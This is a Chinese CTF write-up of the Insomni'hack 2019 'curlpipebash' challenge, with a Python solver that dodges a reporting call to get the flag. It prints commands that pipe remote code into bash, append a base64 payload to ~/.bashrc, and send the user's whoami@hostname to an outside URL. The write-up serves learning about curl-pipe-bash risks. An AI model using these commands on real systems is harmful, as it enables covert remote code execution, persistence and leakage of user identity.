参考链接

https://ctftime.org/task/7454

题目

Welcome to Insomni'hack teaser 2019!

Execute this Bash command to print the flag :)

curl -Ns https://curlpipebash.teaser.insomnihack.ch/print-flag.sh | bash

解题过程

curl请求的是一个stream get,对方会不断发来数据在本地执行

root@vultr:~# curl -Ns https://curlpipebash.teaser.insomnihack.ch/print-flag.sh | bash -x
+ bash
+ curl -Ns https://curlpipebash.teaser.insomnihack.ch/03280bf1-7492-4fce-bbcf-617e5a17646a
+ base64 -d
++ whoami
++ hostname
+ curl -Ns https://curlpipebash.teaser.insomnihack.ch/03280bf1-7492-4fce-bbcf-617e5a17646a/add-to-wall-of-shame/root%40vultr.guest
+ echo 'Welcome to the wall of shame!'
Welcome to the wall of shame!

这个链接https://curlpipebash.teaser.insomnihack.ch/UUID/add-to-wall-of-shame/$(whoami)%40$(hostname)看着就很气人

要获得flag,只需要阻止执行或者延迟执行curl -Ns https://curlpipebash.teaser.insomnihack.ch/UUID/add-to-wall-of-shame/$(whoami)%40$(hostname)就行了

import requestsheaders = {"User-Agent": "curl/7.61.0" # if it looks like curl and talks like curl...
}def main():url = "https://curlpipebash.teaser.insomnihack.ch/print-flag.sh"r = requests.get(url, headers=headers, stream=True)for l in r.iter_lines():print("print-flag got line: {}".format(l))if "curl" in l and "shame" not in l: # We want to curl all new urls, but not the wall of shame one!new_link = l.split(" ")[2] # who needs regex?..print("Requesting new url: {}".format(new_link))requests.get(new_link, headers=headers)if __name__ == "__main__":main()

执行结果如下

# python get-flag.py
print-flag got line: curl -Ns https://curlpipebash.teaser.insomnihack.ch/c69b5fdc-cfab-48d5-a130-8925dfdd2d26 | bash
Requesting new url: https://curlpipebash.teaser.insomnihack.ch/c69b5fdc-cfab-48d5-a130-8925dfdd2d26
print-flag got line: base64  -d >> ~/.bashrc <<< ZXhwb3J0IFBST01QVF9DT01NQU5EPSdlY2hvIFRIQU5LIFlPVSBGT1IgUExBWUlORyBJTlNPTU5JSEFDSyBURUFTRVIgMjAxOScK
print-flag got line: curl -Ns https://curlpipebash.teaser.insomnihack.ch/c69b5fdc-cfab-48d5-a130-8925dfdd2d26/add-to-wall-of-shame/$(whoami)%40$(hostname)
print-flag got line: INS{Miss me with that fishy pipe}

转载于:https://www.cnblogs.com/Antiver/p/10299826.html

Insomni'hack teaser 2019 - Misc - curlpipebash相关推荐

  1. Insomni’hack CTF-l33t-hoster复现分析

    题目地址: https://github.com/eboda/insomnihack/tree/master/l33t_hoster 源码如下: <?php if (isset($_GET[&q ...

  2. php饶disfunction,Insomni’hack CTF-l33t-hoster复现分析

    题目地址: https://github.com/eboda/insomnihack/tree/master/l33t_hoster 源码如下: phpif (isset($_GET["so ...

  3. CTF各种资源:题目、工具、资料

    目录 题目汇总 Reverse 签到题 Web Web中等难度 Crypto 基础网站 各类工具 综合 Web Payloads 逆向 Pwn 取证 题目汇总 这里收集了我做过的CTF题目 Rever ...

  4. 1月全球CTF比赛时间汇总来了!

    ● 从事网络安全行业工作,怎么能不参加一次CTF比赛了! 小编作为一个CTF比赛老鸟,以每次都能做出签到题为荣! 下面给大家分享一下1月份CTF比赛时间,比赛按时间先后排序,国内国外的都有哦!临近新年 ...

  5. 第五届“强网”拟态防御国际精英挑战赛——特邀战队篇

    第五届"强网"拟态防御国际精英挑战赛即将在南京隆重开赛!本届大赛面向全球顶尖CTF战队,在创新应用场景与技术的基础上,拓展升级赛道,全面覆盖典型网络设备.大赛汇集国内外60支精英战 ...

  6. 【pwn学习】堆溢出(三)- Unlink和UAF

    前置学习 [pwn学习]堆溢出(一) [pwn学习]堆溢出(二)- First Fit 文章目录 什么是Unlink? Unlink如何利用? 加入错误检查 什么是Use-After-free? 例题 ...

  7. LDAP 安装与配置-centos7.4

    目录 一.初始化准备 二.安装OpenLDAP .配置openLDAP服务器端 3.1.编辑olcDatabase={2}hdb.ldif文件 3.2.启动OpenLDAP服务,使用如下命令 3.3. ...

  8. LAMP架构概述+搭建论坛平台

    1.LAMP动态网站架构组成 lamp的全称是linux+apache+mysql+php apache 主要实现如下功能: 第一:处理 http 的请求.构建响应报文等自身服务: 第二:配置让 Ap ...

  9. 2019 掘安杯 JACTF MISC WP

    2019 掘安杯 JACTF MISC Write up 前言 1.misc签到 2.so_easy 3.这是什么玩意儿 4.该死的温柔 5.小梳子,我永远只爱你一个人 6.贝斯家族三英战群魔 7.绝 ...

最新文章

  1. android omx,android OMX相关4:编码输入线程和输出线程
  2. python3.8使用requests_python3.8.1 入门基础学习 之 【 requests 基础学习,python3爬虫必备基础】...
  3. Struts2中的Action
  4. mysql表关联关于Hibernate的异常org.springframework.orm.hibernate5.HibernateOptimisticLockingFailureException
  5. ListView 两列多行实现
  6. sentry + vue实现错误日志监控
  7. 以30字符宽居中输出python字符串_Python3 字符串
  8. ROS服务中存在string类型变量,如何给string类型变量赋值及取值
  9. MIX08,迎来Silverlight2的新时代
  10. 12月14日云栖精选夜读:活动推荐丨阿里云TechInsight论坛为什么这么火?
  11. 所有关于php上传,关于php文件上传
  12. BZOJ3224 Tyvj 1728 普通平衡树
  13. SAP HR工资核算基础(转)
  14. HIGEN海坚驱动器维修FDA7045伺服变频器维修
  15. 热血格斗场(二分法+STL运用)
  16. Qt udp组播Qt udp组播
  17. windows中的多执行绪
  18. Windows Server 2008 R2 安装SP1补丁出错(0x800f0818)
  19. 大数据重新定义‘餐饮行业增长黑客’/怎么用数据驱动餐饮行业到店营销
  20. 学Java的逻辑测试题_面试中的逻辑题测试及答案.doc

热门文章

  1. 亿级搜索系统的基石,如何保障实时数据质量?
  2. 腾讯游戏主美:二次元卡通渲染有哪些黑科技?
  3. 如何打开设计思路,避免不断改稿?只需提前做好这一步
  4. 行业人士谈悄然成功的《星际战甲》所带来的启示
  5. 《Booth 空箱》发售一周年回顾
  6. 基于触发机制的脚本系统
  7. 【实施工程师】Linux查看日志后100行
  8. 【实施工程师】Linux怎么查看当前进程
  9. oracle查询排序asc/desc 多列 order by
  10. UVA 1608 Non-boring sequences(瞎搞)